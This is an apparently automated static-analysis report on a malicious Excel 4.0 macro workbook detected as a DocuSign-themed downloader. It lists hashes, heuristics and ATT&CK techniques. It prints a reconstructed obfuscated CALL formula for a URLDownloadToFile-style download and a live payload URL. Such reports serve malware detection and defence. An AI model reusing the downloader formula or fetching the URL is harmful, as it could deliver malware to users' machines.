Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 144919cab3dfd161…

MALICIOUS

Office (OLE) / .XLS

331.0 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel
MD5: 97d733849325f045d1b43a024dd57b95 SHA-1: f58538c65d7cbcde7da863d4f90c02402fb2d13c SHA-256: 144919cab3dfd16198b7b6bfbc73b64cea35748a660dc50a7cb4991104a8e45f
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros that leverage the Auto_Open functionality to execute arbitrary code. The macros utilize dangerous functions such as RUN and CALL, with strings being concatenated to form commands. One such reconstructed command appears to be CALL("UR"& DocuSig!BY111&"n","UR"& DocuSig!BY120&"e"&"A","IICCII",0, DocuSig!FE100, DocuSig!BN62& DocuSig!BN77& DocuSig!BN91,0,0), which likely attempts to download and execute a second-stage payload from a remote server, indicated by the embedded URL.

Heuristics 6

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • ClamAV: Doc.Downloader.Docusign0521-9864805-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Docusign0521-9864805-0
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://oyefauji.com/ds/261120.gif
    • https://oyefauji.com/ds/261120.gif�

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
58a4f5727165121d868a3a8deb557c7e948c3b637eb6aacf726ea069bd257a4e		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6677 bytes

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